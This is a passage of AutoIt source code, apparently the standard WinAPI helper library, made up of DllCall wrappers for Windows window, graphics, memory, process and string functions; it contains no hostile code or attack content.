  3630. If @error Then Return SetError(@error, @extended, 0)
  3631. Return $aresult[0]
  3632. EndFunc
  3633.  
  3634. Func _winapi_getwindowplacement($hwnd)
  3635. Local $twindowplacement = DllStructCreate($tagwindowplacement)
  3636. DllStructSetData($twindowplacement, "length", DllStructGetSize($twindowplacement))
  3637. DllCall("user32.dll", "bool", "GetWindowPlacement", "hwnd", $hwnd, "struct*", $twindowplacement)
  3638. If @error Then Return SetError(@error, @extended, 0)
  3639. Return $twindowplacement
  3640. EndFunc
  3641.  
  3642. Func _winapi_getwindowrect($hwnd)
  3643. Local $trect = DllStructCreate($tagrect)
  3644. DllCall("user32.dll", "bool", "GetWindowRect", "hwnd", $hwnd, "struct*", $trect)
  3645. If @error Then Return SetError(@error, @extended, 0)
  3646. Return $trect
  3647. EndFunc
  3648.  
  3649. Func _winapi_getwindowrgn($hwnd, $hrgn)
  3650. Local $aresult = DllCall("user32.dll", "int", "GetWindowRgn", "hwnd", $hwnd, "handle", $hrgn)
  3651. If @error Then Return SetError(@error, @extended, 0)
  3652. Return $aresult[0]
  3653. EndFunc
  3654.  
  3655. Func _winapi_getwindowtext($hwnd)
  3656. Local $aresult = DllCall("user32.dll", "int", "GetWindowTextW", "hwnd", $hwnd, "wstr", "", "int", 4096)
  3657. If @error Then Return SetError(@error, @extended, "")
  3658. Return SetExtended($aresult[0], $aresult[2])
  3659. EndFunc
  3660.  
  3661. Func _winapi_getwindowthreadprocessid($hwnd, ByRef $ipid)
  3662. Local $aresult = DllCall("user32.dll", "dword", "GetWindowThreadProcessId", "hwnd", $hwnd, "dword*", 0)
  3663. If @error Then Return SetError(@error, @extended, 0)
  3664. $ipid = $aresult[2]
  3665. Return $aresult[0]
  3666. EndFunc
  3667.  
  3668. Func _winapi_getwindowwidth($hwnd)
  3669. Local $trect = _winapi_getwindowrect($hwnd)
  3670. If @error Then Return SetError(@error, @extended, 0)
  3671. Return DllStructGetData($trect, "Right") - DllStructGetData($trect, "Left")
  3672. EndFunc
  3673.  
  3674. Func _winapi_getxyfrompoint(ByRef $tpoint, ByRef $ix, ByRef $iy)
  3675. $ix = DllStructGetData($tpoint, "X")
  3676. $iy = DllStructGetData($tpoint, "Y")
  3677. EndFunc
  3678.  
  3679. Func _winapi_globalmemorystatus()
  3680. Local $tmem = DllStructCreate($tagmemorystatusex)
  3681. Local $imem = DllStructGetSize($tmem)
  3682. DllStructSetData($tmem, 1, $imem)
  3683. DllCall("kernel32.dll", "none", "GlobalMemoryStatusEx", "ptr", $tmem)
  3684. If @error Then Return SetError(@error, @extended, 0)
  3685. Local $amem[7]
  3686. $amem[0] = DllStructGetData($tmem, 2)
  3687. $amem[1] = DllStructGetData($tmem, 3)
  3688. $amem[2] = DllStructGetData($tmem, 4)
  3689. $amem[3] = DllStructGetData($tmem, 5)
  3690. $amem[4] = DllStructGetData($tmem, 6)
  3691. $amem[5] = DllStructGetData($tmem, 7)
  3692. $amem[6] = DllStructGetData($tmem, 8)
  3693. Return $amem
  3694. EndFunc
  3695.  
  3696. Func _winapi_guidfromstring($sguid)
  3697. Local $tguid = DllStructCreate($tagguid)
  3698. _winapi_guidfromstringex($sguid, $tguid)
  3699. If @error Then Return SetError(@error, @extended, 0)
  3700. Return $tguid
  3701. EndFunc
  3702.  
  3703. Func _winapi_guidfromstringex($sguid, $pguid)
  3704. Local $aresult = DllCall("ole32.dll", "long", "CLSIDFromString", "wstr", $sguid, "struct*", $pguid)
  3705. If @error Then Return SetError(@error, @extended, False)
  3706. Return $aresult[0]
  3707. EndFunc
  3708.  
  3709. Func _winapi_hiword($ilong)
  3710. Return BitShift($ilong, 16)
  3711. EndFunc
  3712.  
  3713. Func _winapi_inprocess($hwnd, ByRef $hlastwnd)
  3714. If $hwnd = $hlastwnd Then Return True
  3715. For $ii = $__gainprocess_winapi[0][0] To 1 Step -1
  3716. If $hwnd = $__gainprocess_winapi[$ii][0] Then
  3717. If $__gainprocess_winapi[$ii][1] Then
  3718. $hlastwnd = $hwnd
  3719. Return True
  3720. Else
  3721. Return False
  3722. EndIf
  3723. EndIf
  3724. Next
  3725. Local $iprocessid
  3726. _winapi_getwindowthreadprocessid($hwnd, $iprocessid)
  3727. Local $icount = $__gainprocess_winapi[0][0] + 1
  3728. If $icount >= 64 Then $icount = 1
  3729. $__gainprocess_winapi[0][0] = $icount
  3730. $__gainprocess_winapi[$icount][0] = $hwnd
  3731. $__gainprocess_winapi[$icount][1] = ($iprocessid = @AutoItPID)
  3732. Return $__gainprocess_winapi[$icount][1]
  3733. EndFunc
  3734.  
  3735. Func _winapi_inttofloat($iint)
  3736. Local $tint = DllStructCreate("int")
  3737. Local $tfloat = DllStructCreate("float", DllStructGetPtr($tint))
  3738. DllStructSetData($tint, 1, $iint)
  3739. Return DllStructGetData($tfloat, 1)
  3740. EndFunc
  3741.  
  3742. Func _winapi_isclassname($hwnd, $sclassname)
  3743. Local $sseparator = Opt("GUIDataSeparatorChar")
  3744. Local $aclassname = StringSplit($sclassname, $sseparator)
  3745. If NOT IsHWnd($hwnd) Then $hwnd = GUICtrlGetHandle($hwnd)
  3746. Local $sclasscheck = _winapi_getclassname($hwnd)
  3747. For $x = 1 To UBound($aclassname) - 1
  3748. If StringUpper(StringMid($sclasscheck, 1, StringLen($aclassname[$x]))) = StringUpper($aclassname[$x]) Then Return True
  3749. Next
  3750. Return False
  3751. EndFunc
  3752.  
  3753. Func _winapi_iswindow($hwnd)
  3754. Local $aresult = DllCall("user32.dll", "bool", "IsWindow", "hwnd", $hwnd)
  3755. If @error Then Return SetError(@error, @extended, 0)
  3756. Return $aresult[0]
  3757. EndFunc
  3758.  
  3759. Func _winapi_iswindowvisible($hwnd)
  3760. Local $aresult = DllCall("user32.dll", "bool", "IsWindowVisible", "hwnd", $hwnd)
  3761. If @error Then Return SetError(@error, @extended, 0)
  3762. Return $aresult[0]
  3763. EndFunc
  3764.  
  3765. Func _winapi_invalidaterect($hwnd, $trect = 0, $ferase = True)
  3766. Local $aresult = DllCall("user32.dll", "bool", "InvalidateRect", "hwnd", $hwnd, "struct*", $trect, "bool", $ferase)
  3767. If @error Then Return SetError(@error, @extended, False)
  3768. Return $aresult[0]
  3769. EndFunc
  3770.  
  3771. Func _winapi_lineto($hdc, $ix, $iy)
  3772. Local $aresult = DllCall("gdi32.dll", "bool", "LineTo", "handle", $hdc, "int", $ix, "int", $iy)
  3773. If @error Then Return SetError(@error, @extended, False)
  3774. Return $aresult[0]
  3775. EndFunc
  3776.  
  3777. Func _winapi_loadbitmap($hinstance, $sbitmap)
  3778. Local $sbitmaptype = "int"
  3779. If IsString($sbitmap) Then $sbitmaptype = "wstr"
  3780. Local $aresult = DllCall("user32.dll", "handle", "LoadBitmapW", "handle", $hinstance, $sbitmaptype, $sbitmap)
  3781. If @error Then Return SetError(@error, @extended, 0)
  3782. Return $aresult[0]
  3783. EndFunc
  3784.  
  3785. Func _winapi_loadimage($hinstance, $simage, $itype, $ixdesired, $iydesired, $iload)
  3786. Local $aresult, $simagetype = "int"
  3787. If IsString($simage) Then $simagetype = "wstr"
  3788. $aresult = DllCall("user32.dll", "handle", "LoadImageW", "handle", $hinstance, $simagetype, $simage, "uint", $itype, "int", $ixdesired, "int", $iydesired, "uint", $iload)
  3789. If @error Then Return SetError(@error, @extended, 0)
  3790. Return $aresult[0]
  3791. EndFunc
  3792.  
  3793. Func _winapi_loadlibrary($sfilename)
  3794. Local $aresult = DllCall("kernel32.dll", "handle", "LoadLibraryW", "wstr", $sfilename)
  3795. If @error Then Return SetError(@error, @extended, 0)
  3796. Return $aresult[0]
  3797. EndFunc
  3798.  
  3799. Func _winapi_loadlibraryex($sfilename, $iflags = 0)
  3800. Local $aresult = DllCall("kernel32.dll", "handle", "LoadLibraryExW", "wstr", $sfilename, "ptr", 0, "dword", $iflags)
  3801. If @error Then Return SetError(@error, @extended, 0)
  3802. Return $aresult[0]
  3803. EndFunc
  3804.  
  3805. Func _winapi_loadshell32icon($iiconid)
  3806. Local $ticons = DllStructCreate("ptr Data")
  3807. Local $iicons = _winapi_extracticonex("shell32.dll", $iiconid, 0, $ticons, 1)
  3808. If @error Then Return SetError(@error, @extended, 0)
  3809. If $iicons <= 0 Then Return SetError(1, 0, 0)
  3810. Return DllStructGetData($ticons, "Data")
  3811. EndFunc
  3812.  
  3813. Func _winapi_loadstring($hinstance, $istringid)
  3814. Local $aresult = DllCall("user32.dll", "int", "LoadStringW", "handle", $hinstance, "uint", $istringid, "wstr", "", "int", 4096)
  3815. If @error Then Return SetError(@error, @extended, "")
  3816. Return SetExtended($aresult[0], $aresult[3])
  3817. EndFunc
  3818.  
  3819. Func _winapi_localfree($hmem)
  3820. Local $aresult = DllCall("kernel32.dll", "handle", "LocalFree", "handle", $hmem)
  3821. If @error Then Return SetError(@error, @extended, False)
  3822. Return $aresult[0]
  3823. EndFunc
  3824.  
  3825. Func _winapi_loword($ilong)
  3826. Return BitAND($ilong, 65535)
  3827. EndFunc
  3828.  
  3829. Func _winapi_makelangid($lgidprimary, $lgidsub)
  3830. Return BitOR(BitShift($lgidsub, -10), $lgidprimary)
  3831. EndFunc
  3832.  
  3833. Func _winapi_makelcid($lgid, $srtid)
  3834. Return BitOR(BitShift($srtid, -16), $lgid)
  3835. EndFunc
  3836.  
  3837. Func _winapi_makelong($ilo, $ihi)
  3838. Return BitOR(BitShift($ihi, -16), BitAND($ilo, 65535))
  3839. EndFunc
  3840.  
  3841. Func _winapi_makeqword($lodword, $hidword)
  3842. Local $tint64 = DllStructCreate("uint64")
  3843. Local $tdwords = DllStructCreate("dword;dword", DllStructGetPtr($tint64))
  3844. DllStructSetData($tdwords, 1, $lodword)
  3845. DllStructSetData($tdwords, 2, $hidword)
  3846. Return DllStructGetData($tint64, 1)
  3847. EndFunc
  3848.  
  3849. Func _winapi_messagebeep($itype = 1)
  3850. Local $isound
  3851. Switch $itype
  3852. Case 1
  3853. $isound = 0
  3854. Case 2
  3855. $isound = 16
  3856. Case 3
  3857. $isound = 32
  3858. Case 4
  3859. $isound = 48
  3860. Case 5
  3861. $isound = 64
  3862. Case Else
  3863. $isound = -1
  3864. EndSwitch
  3865. Local $aresult = DllCall("user32.dll", "bool", "MessageBeep", "uint", $isound)
  3866. If @error Then Return SetError(@error, @extended, False)
  3867. Return $aresult[0]
  3868. EndFunc
  3869.  
  3870. Func _winapi_msgbox($iflags, $stitle, $stext)
  3871. BlockInput(0)
  3872. MsgBox($iflags, $stitle, $stext & " ")
  3873. EndFunc
  3874.  
  3875. Func _winapi_mouse_event($iflags, $ix = 0, $iy = 0, $idata = 0, $iextrainfo = 0)
  3876. DllCall("user32.dll", "none", "mouse_event", "dword", $iflags, "dword", $ix, "dword", $iy, "dword", $idata, "ulong_ptr", $iextrainfo)
  3877. If @error Then Return SetError(@error, @extended)
  3878. EndFunc
  3879.  
  3880. Func _winapi_moveto($hdc, $ix, $iy)
  3881. Local $aresult = DllCall("gdi32.dll", "bool", "MoveToEx", "handle", $hdc, "int", $ix, "int", $iy, "ptr", 0)
  3882. If @error Then Return SetError(@error, @extended, False)
  3883. Return $aresult[0]
  3884. EndFunc
  3885.  
  3886. Func _winapi_movewindow($hwnd, $ix, $iy, $iwidth, $iheight, $frepaint = True)
  3887. Local $aresult = DllCall("user32.dll", "bool", "MoveWindow", "hwnd", $hwnd, "int", $ix, "int", $iy, "int", $iwidth, "int", $iheight, "bool", $frepaint)
  3888. If @error Then Return SetError(@error, @extended, False)
  3889. Return $aresult[0]
  3890. EndFunc
  3891.  
  3892. Func _winapi_muldiv($inumber, $inumerator, $idenominator)
  3893. Local $aresult = DllCall("kernel32.dll", "int", "MulDiv", "int", $inumber, "int", $inumerator, "int", $idenominator)
  3894. If @error Then Return SetError(@error, @extended, -1)
  3895. Return $aresult[0]
  3896. EndFunc
  3897.  
  3898. Func _winapi_multibytetowidechar($stext, $icodepage = 0, $iflags = 0, $bretstring = False)
  3899. Local $stexttype = "str"
  3900. If NOT IsString($stext) Then $stexttype = "struct*"
  3901. Local $aresult = DllCall("kernel32.dll", "int", "MultiByteToWideChar", "uint", $icodepage, "dword", $iflags, $stexttype, $stext, "int", -1, "ptr", 0, "int", 0)
  3902. If @error Then Return SetError(@error, @extended, 0)
  3903. Local $iout = $aresult[0]
  3904. Local $tout = DllStructCreate("wchar[" & $iout & "]")
  3905. $aresult = DllCall("kernel32.dll", "int", "MultiByteToWideChar", "uint", $icodepage, "dword", $iflags, $stexttype, $stext, "int", -1, "struct*", $tout, "int", $iout)
  3906. If @error Then Return SetError(@error, @extended, 0)
  3907. If $bretstring Then Return DllStructGetData($tout, 1)
  3908. Return $tout
  3909. EndFunc
  3910.  
  3911. Func _winapi_multibytetowidecharex($stext, $ptext, $icodepage = 0, $iflags = 0)
  3912. Local $aresult = DllCall("kernel32.dll", "int", "MultiByteToWideChar", "uint", $icodepage, "dword", $iflags, "STR", $stext, "int", -1, "struct*", $ptext, "int", (StringLen($stext) + 1) * 2)
  3913. If @error Then Return SetError(@error, @extended, False)
  3914. Return $aresult[0]
  3915. EndFunc
  3916.  
  3917. Func _winapi_openprocess($iaccess, $finherit, $iprocessid, $fdebugpriv = False)
  3918. Local $aresult = DllCall("kernel32.dll", "handle", "OpenProcess", "dword", $iaccess, "bool", $finherit, "dword", $iprocessid)
  3919. If @error Then Return SetError(@error, @extended, 0)
  3920. If $aresult[0] Then Return $aresult[0]
  3921. If NOT $fdebugpriv Then Return 0
  3922. Local $htoken = _security__openthreadtokenex(BitOR($token_adjust_privileges, $token_query))
  3923. If @error Then Return SetError(@error, @extended, 0)
  3924. _security__setprivilege($htoken, "SeDebugPrivilege", True)
  3925. Local $ierror = @error
  3926. Local $ilasterror = @extended
  3927. Local $iret = 0
  3928. If NOT @error Then
  3929. $aresult = DllCall("kernel32.dll", "handle", "OpenProcess", "dword", $iaccess, "bool", $finherit, "dword", $iprocessid)
  3930. $ierror = @error
  3931. $ilasterror = @extended
  3932. If $aresult[0] Then $iret = $aresult[0]
  3933. _security__setprivilege($htoken, "SeDebugPrivilege", False)
  3934. If @error Then
  3935. $ierror = @error
  3936. $ilasterror = @extended
  3937. EndIf
  3938. EndIf
  3939. _winapi_closehandle($htoken)
  3940. Return SetError($ierror, $ilasterror, $iret)
  3941. EndFunc
  3942.  
  3943. Func __winapi_parsefiledialogpath($spath)
  3944. Local $afiles[3]
  3945. $afiles[0] = 2
  3946. Local $stemp = StringMid($spath, 1, StringInStr($spath, "\", 0, -1) - 1)
  3947. $afiles[1] = $stemp
  3948. $afiles[2] = StringMid($spath, StringInStr($spath, "\", 0, -1) + 1)
  3949. Return $afiles
  3950. EndFunc
  3951.  
  3952. Func _winapi_pathfindonpath(Const $szfile, $aextrapaths = "", Const $szpathdelimiter = @LF)
  3953. Local $iextracount = 0
  3954. If IsString($aextrapaths) Then
  3955. If StringLen($aextrapaths) Then
  3956. $aextrapaths = StringSplit($aextrapaths, $szpathdelimiter, 1 + 2)
  3957. $iextracount = UBound($aextrapaths, 1)
  3958. EndIf
  3959. ElseIf IsArray($aextrapaths) Then
  3960. $iextracount = UBound($aextrapaths)
  3961. EndIf
  3962. Local $tpaths, $tpathptrs
  3963. If $iextracount Then
  3964. Local $szstruct = ""
  3965. For $path In $aextrapaths
  3966. $szstruct &= "wchar[" & StringLen($path) + 1 & "];"
  3967. Next
  3968. $tpaths = DllStructCreate($szstruct)
  3969. $tpathptrs = DllStructCreate("ptr[" & $iextracount + 1 & "]")
  3970. For $i = 1 To $iextracount
  3971. DllStructSetData($tpaths, $i, $aextrapaths[$i - 1])
  3972. DllStructSetData($tpathptrs, 1, DllStructGetPtr($tpaths, $i), $i)
  3973. Next
  3974. DllStructSetData($tpathptrs, 1, Ptr(0), $iextracount + 1)
  3975. EndIf
  3976. Local $aresult = DllCall("shlwapi.dll", "bool", "PathFindOnPathW", "wstr", $szfile, "struct*", $tpathptrs)
  3977. If @error Then Return SetError(@error, @extended, False)
  3978. If $aresult[0] = 0 Then Return SetError(1, 0, $szfile)
  3979. Return $aresult[1]
  3980. EndFunc
  3981.  
  3982. Func _winapi_pointfromrect(ByRef $trect, $fcenter = True)
  3983. Local $ix1 = DllStructGetData($trect, "Left")
  3984. Local $iy1 = DllStructGetData($trect, "Top")
  3985. Local $ix2 = DllStructGetData($trect, "Right")
  3986. Local $iy2 = DllStructGetData($trect, "Bottom")
  3987. If $fcenter Then
  3988. $ix1 = $ix1 + (($ix2 - $ix1) / 2)
  3989. $iy1 = $iy1 + (($iy2 - $iy1) / 2)
  3990. EndIf
  3991. Local $tpoint = DllStructCreate($tagpoint)
  3992. DllStructSetData($tpoint, "X", $ix1)
  3993. DllStructSetData($tpoint, "Y", $iy1)
  3994. Return $tpoint
  3995. EndFunc
  3996.  
  3997. Func _winapi_postmessage($hwnd, $imsg, $iwparam, $ilparam)
  3998. Local $aresult = DllCall("user32.dll", "bool", "PostMessage", "hwnd", $hwnd, "uint", $imsg, "wparam", $iwparam, "lparam", $ilparam)
  3999. If @error Then Return SetError(@error, @extended, False)
  4000. Return $aresult[0]
  4001. EndFunc
  4002.  
  4003. Func _winapi_primarylangid($lgid)
  4004. Return BitAND($lgid, 1023)
  4005. EndFunc
  4006.  
  4007. Func _winapi_ptinrect(ByRef $trect, ByRef $tpoint)
  4008. Local $aresult = DllCall("user32.dll", "bool", "PtInRect", "struct*", $trect, "struct", $tpoint)
  4009. If @error Then Return SetError(1, @extended, False)
  4010. Return NOT ($aresult[0] = 0)
  4011. EndFunc
  4012.  
  4013. Func _winapi_readfile($hfile, $pbuffer, $itoread, ByRef $iread, $poverlapped = 0)
  4014. Local $aresult = DllCall("kernel32.dll", "bool", "ReadFile", "handle", $hfile, "ptr", $pbuffer, "dword", $itoread, "dword*", 0, "ptr", $poverlapped)
  4015. If @error Then Return SetError(@error, @extended, False)
  4016. $iread = $aresult[4]
  4017. Return $aresult[0]
  4018. EndFunc
  4019.  
  4020. Func _winapi_readprocessmemory($hprocess, $pbaseaddress, $pbuffer, $isize, ByRef $iread)
  4021. Local $aresult = DllCall("kernel32.dll", "bool", "ReadProcessMemory", "handle", $hprocess, "ptr", $pbaseaddress, "ptr", $pbuffer, "ulong_ptr", $isize, "ulong_ptr*", 0)
  4022. If @error Then Return SetError(@error, @extended, False)
  4023. $iread = $aresult[5]
  4024. Return $aresult[0]
  4025. EndFunc
  4026.  
  4027. Func _winapi_rectisempty(ByRef $trect)
  4028. Return (DllStructGetData($trect, "Left") = 0) AND (DllStructGetData($trect, "Top") = 0) AND (DllStructGetData($trect, "Right") = 0) AND (DllStructGetData($trect, "Bottom") = 0)
  4029. EndFunc
  4030.  
  4031. Func _winapi_redrawwindow($hwnd, $trect = 0, $hregion = 0, $iflags = 5)
  4032. Local $aresult = DllCall("user32.dll", "bool", "RedrawWindow", "hwnd", $hwnd, "struct*", $trect, "handle", $hregion, "uint", $iflags)
  4033. If @error Then Return SetError(@error, @extended, False)
  4034. Return $aresult[0]
  4035. EndFunc
  4036.  
  4037. Func _winapi_registerwindowmessage($smessage)
  4038. Local $aresult = DllCall("user32.dll", "uint", "RegisterWindowMessageW", "wstr", $smessage)
  4039. If @error Then Return SetError(@error, @extended, 0)
  4040. Return $aresult[0]
  4041. EndFunc
  4042.  
  4043. Func _winapi_releasecapture()
  4044. Local $aresult = DllCall("user32.dll", "bool", "ReleaseCapture")
  4045. If @error Then Return SetError(@error, @extended, False)
  4046. Return $aresult[0]
  4047. EndFunc
  4048.  
  4049. Func _winapi_releasedc($hwnd, $hdc)
  4050. Local $aresult = DllCall("user32.dll", "int", "ReleaseDC", "hwnd", $hwnd, "handle", $hdc)
  4051. If @error Then Return SetError(@error, @extended, False)
  4052. Return $aresult[0]
  4053. EndFunc
  4054.  
  4055. Func _winapi_screentoclient($hwnd, ByRef $tpoint)
  4056. Local $aresult = DllCall("user32.dll", "bool", "ScreenToClient", "hwnd", $hwnd, "struct*", $tpoint)
  4057. If @error Then Return SetError(@error, @extended, False)
  4058. Return $aresult[0]
  4059. EndFunc
  4060.  
  4061. Func _winapi_selectobject($hdc, $hgdiobj)
  4062. Local $aresult = DllCall("gdi32.dll", "handle", "SelectObject", "handle", $hdc, "handle", $hgdiobj)
  4063. If @error Then Return SetError(@error, @extended, False)
  4064. Return $aresult[0]
  4065. EndFunc
  4066.  
  4067. Func _winapi_setbkcolor($hdc, $icolor)
  4068. Local $aresult = DllCall("gdi32.dll", "INT", "SetBkColor", "handle", $hdc, "dword", $icolor)
  4069. If @error Then Return SetError(@error, @extended, -1)
  4070. Return $aresult[0]
  4071. EndFunc
  4072.  
  4073. Func _winapi_setbkmode($hdc, $ibkmode)
  4074. Local $aresult = DllCall("gdi32.dll", "int", "SetBkMode", "handle", $hdc, "int", $ibkmode)
  4075. If @error Then Return SetError(@error, @extended, 0)
  4076. Return $aresult[0]
  4077. EndFunc
  4078.  
  4079. Func _winapi_setcapture($hwnd)
  4080. Local $aresult = DllCall("user32.dll", "hwnd", "SetCapture", "hwnd", $hwnd)
  4081. If @error Then Return SetError(@error, @extended, 0)
  4082. Return $aresult[0]
  4083. EndFunc
  4084.  
  4085. Func _winapi_setcursor($hcursor)
  4086. Local $aresult = DllCall("user32.dll", "handle", "SetCursor", "handle", $hcursor)
  4087. If @error Then Return SetError(@error, @extended, 0)
  4088. Return $aresult[0]
  4089. EndFunc
  4090.  
  4091. Func _winapi_setdefaultprinter($sprinter)
  4092. Local $aresult = DllCall("winspool.drv", "bool", "SetDefaultPrinterW", "wstr", $sprinter)
  4093. If @error Then Return SetError(@error, @extended, False)
  4094. Return $aresult[0]
  4095. EndFunc
  4096.  
  4097. Func _winapi_setdibits($hdc, $hbmp, $istartscan, $iscanlines, $pbits, $pbmi, $icoloruse = 0)
  4098. Local $aresult = DllCall("gdi32.dll", "int", "SetDIBits", "handle", $hdc, "handle", $hbmp, "uint", $istartscan, "uint", $iscanlines, "ptr", $pbits, "ptr", $pbmi, "uint", $icoloruse)
  4099. If @error Then Return SetError(@error, @extended, False)
  4100. Return $aresult[0]
  4101. EndFunc
  4102.  
  4103. Func _winapi_setendoffile($hfile)
  4104. Local $aresult = DllCall("kernel32.dll", "bool", "SetEndOfFile", "handle", $hfile)
  4105. If @error Then Return SetError(@error, @extended, False)
  4106. Return $aresult[0]
  4107. EndFunc
  4108.  
  4109. Func _winapi_setevent($hevent)
  4110. Local $aresult = DllCall("kernel32.dll", "bool", "SetEvent", "handle", $hevent)
  4111. If @error Then Return SetError(@error, @extended, False)
  4112. Return $aresult[0]
  4113. EndFunc
  4114.  
  4115. Func _winapi_setfilepointer($hfile, $ipos, $imethod = 0)
  4116. Local $aresult = DllCall("kernel32.dll", "INT", "SetFilePointer", "handle", $hfile, "long", $ipos, "ptr", 0, "long", $imethod)
  4117. If @error Then Return SetError(@error, @extended, -1)
  4118. Return $aresult[0]
  4119. EndFunc
  4120.  
  4121. Func _winapi_setfocus($hwnd)
  4122. Local $aresult = DllCall("user32.dll", "hwnd", "SetFocus", "hwnd", $hwnd)
  4123. If @error Then Return SetError(@error, @extended, 0)
  4124. Return $aresult[0]
  4125. EndFunc
  4126.  
  4127. Func _winapi_setfont($hwnd, $hfont, $fredraw = True)
  4128. _sendmessage($hwnd, $__winapiconstant_wm_setfont, $hfont, $fredraw, 0, "hwnd")
  4129. EndFunc
  4130.  
  4131. Func _winapi_sethandleinformation($hobject, $imask, $iflags)
  4132. Local $aresult = DllCall("kernel32.dll", "bool", "SetHandleInformation", "handle", $hobject, "dword", $imask, "dword", $iflags)
  4133. If @error Then Return SetError(@error, @extended, False)
  4134. Return $aresult[0]
  4135. EndFunc
  4136.  
  4137. Func _winapi_setlayeredwindowattributes($hwnd, $i_transcolor, $transparency = 255, $dwflags = 3, $iscolorref = False)
  4138. If $dwflags = Default OR $dwflags = "" OR $dwflags < 0 Then $dwflags = 3
  4139. If NOT $iscolorref Then
  4140. $i_transcolor = Int(BinaryMid($i_transcolor, 3, 1) & BinaryMid($i_transcolor, 2, 1) & BinaryMid($i_transcolor, 1, 1))
  4141. EndIf
  4142. Local $aresult = DllCall("user32.dll", "bool", "SetLayeredWindowAttributes", "hwnd", $hwnd, "dword", $i_transcolor, "byte", $transparency, "dword", $dwflags)
  4143. If @error Then Return SetError(@error, @extended, False)
  4144. Return $aresult[0]
  4145. EndFunc
  4146.  
  4147. Func _winapi_setparent($hwndchild, $hwndparent)
  4148. Local $aresult = DllCall("user32.dll", "hwnd", "SetParent", "hwnd", $hwndchild, "hwnd", $hwndparent)
  4149. If @error Then Return SetError(@error, @extended, 0)
  4150. Return $aresult[0]
  4151. EndFunc
  4152.  
  4153. Func _winapi_setprocessaffinitymask($hprocess, $imask)
  4154. Local $aresult = DllCall("kernel32.dll", "bool", "SetProcessAffinityMask", "handle", $hprocess, "ulong_ptr", $imask)
  4155. If @error Then Return SetError(@error, @extended, False)
  4156. Return $aresult[0]
  4157. EndFunc
  4158.  
  4159. Func _winapi_setsyscolors($velements, $vcolors)
  4160. Local $isearray = IsArray($velements), $iscarray = IsArray($vcolors)
  4161. Local $ielementnum
  4162. If NOT $iscarray AND NOT $isearray Then
  4163. $ielementnum = 1
  4164. ElseIf $iscarray OR $isearray Then
  4165. If NOT $iscarray OR NOT $isearray Then Return SetError(-1, -1, False)
  4166. If UBound($velements) <> UBound($vcolors) Then Return SetError(-1, -1, False)
  4167. $ielementnum = UBound($velements)
  4168. EndIf
  4169. Local $telements = DllStructCreate("int Element[" & $ielementnum & "]")
  4170. Local $tcolors = DllStructCreate("dword NewColor[" & $ielementnum & "]")
  4171. If NOT $isearray Then
  4172. DllStructSetData($telements, "Element", $velements, 1)
  4173. Else
  4174. For $x = 0 To $ielementnum - 1
  4175. DllStructSetData($telements, "Element", $velements[$x], $x + 1)
  4176. Next
  4177. EndIf
  4178. If NOT $iscarray Then
  4179. DllStructSetData($tcolors, "NewColor", $vcolors, 1)
  4180. Else
  4181. For $x = 0 To $ielementnum - 1
  4182. DllStructSetData($tcolors, "NewColor", $vcolors[$x], $x + 1)
  4183. Next
  4184. EndIf
  4185. Local $aresult = DllCall("user32.dll", "bool", "SetSysColors", "int", $ielementnum, "struct*", $telements, "struct*", $tcolors)
  4186. If @error Then Return SetError(@error, @extended, False)
  4187. Return $aresult[0]
  4188. EndFunc
  4189.  
  4190. Func _winapi_settextcolor($hdc, $icolor)
  4191. Local $aresult = DllCall("gdi32.dll", "INT", "SetTextColor", "handle", $hdc, "dword", $icolor)
  4192. If @error Then Return SetError(@error, @extended, -1)
  4193. Return $aresult[0]
  4194. EndFunc
  4195.  
  4196. Func _winapi_setwindowlong($hwnd, $iindex, $ivalue)
  4197. _winapi_setlasterror(0)
  4198. Local $sfuncname = "SetWindowLongW"
  4199. If @AutoItX64 Then $sfuncname = "SetWindowLongPtrW"
  4200. Local $aresult = DllCall("user32.dll", "long_ptr", $sfuncname, "hwnd", $hwnd, "int", $iindex, "long_ptr", $ivalue)
  4201. If @error Then Return SetError(@error, @extended, 0)
  4202. Return $aresult[0]
  4203. EndFunc
  4204.  
  4205. Func _winapi_setwindowplacement($hwnd, $pwindowplacement)
  4206. Local $aresult = DllCall("user32.dll", "bool", "SetWindowPlacement", "hwnd", $hwnd, "ptr", $pwindowplacement)
  4207. If @error Then Return SetError(@error, @extended, False)
  4208. Return $aresult[0]
  4209. EndFunc
  4210.  
  4211. Func _winapi_setwindowpos($hwnd, $hafter, $ix, $iy, $icx, $icy, $iflags)
  4212. Local $aresult = DllCall("user32.dll", "bool", "SetWindowPos", "hwnd", $hwnd, "hwnd", $hafter, "int", $ix, "int", $iy, "int", $icx, "int", $icy, "uint", $iflags)
  4213. If @error Then Return SetError(@error, @extended, False)
  4214. Return $aresult[0]
  4215. EndFunc
  4216.  
  4217. Func _winapi_setwindowrgn($hwnd, $hrgn, $bredraw = True)
  4218. Local $aresult = DllCall("user32.dll", "int", "SetWindowRgn", "hwnd", $hwnd, "handle", $hrgn, "bool", $bredraw)
  4219. If @error Then Return SetError(@error, @extended, False)
  4220. Return $aresult[0]
  4221. EndFunc
  4222.  
  4223. Func _winapi_setwindowshookex($idhook, $lpfn, $hmod, $dwthreadid = 0)
  4224. Local $aresult = DllCall("user32.dll", "handle", "SetWindowsHookEx", "int", $idhook, "ptr", $lpfn, "handle", $hmod, "dword", $dwthreadid)
  4225. If @error Then Return SetError(@error, @extended, 0)
  4226. Return $aresult[0]
  4227. EndFunc
  4228.  
  4229. Func _winapi_setwindowtext($hwnd, $stext)
  4230. Local $aresult = DllCall("user32.dll", "bool", "SetWindowTextW", "hwnd", $hwnd, "wstr", $stext)
  4231. If @error Then Return SetError(@error, @extended, False)
  4232. Return $aresult[0]
  4233. EndFunc
  4234.  
  4235. Func _winapi_showcursor($fshow)
  4236. Local $aresult = DllCall("user32.dll", "int", "ShowCursor", "bool", $fshow)
  4237. If @error Then Return SetError(@error, @extended, 0)
  4238. Return $aresult[0]
  4239. EndFunc
  4240.  
  4241. Func _winapi_showerror($stext, $fexit = True)
  4242. _winapi_msgbox(266256, "Error", $stext)
  4243. If $fexit Then Exit
  4244. EndFunc
  4245.  
  4246. Func _winapi_showmsg($stext)
  4247. _winapi_msgbox(64 + 4096, "Information", $stext)
  4248. EndFunc
  4249.  
  4250. Func _winapi_showwindow($hwnd, $icmdshow = 5)
  4251. Local $aresult = DllCall("user32.dll", "bool", "ShowWindow", "hwnd", $hwnd, "int", $icmdshow)
  4252. If @error Then Return SetError(@error, @extended, False)
  4253. Return $aresult[0]
  4254. EndFunc
  4255.  
  4256. Func _winapi_stringfromguid($pguid)
  4257. Local $aresult = DllCall("ole32.dll", "int", "StringFromGUID2", "struct*", $pguid, "wstr", "", "int", 40)
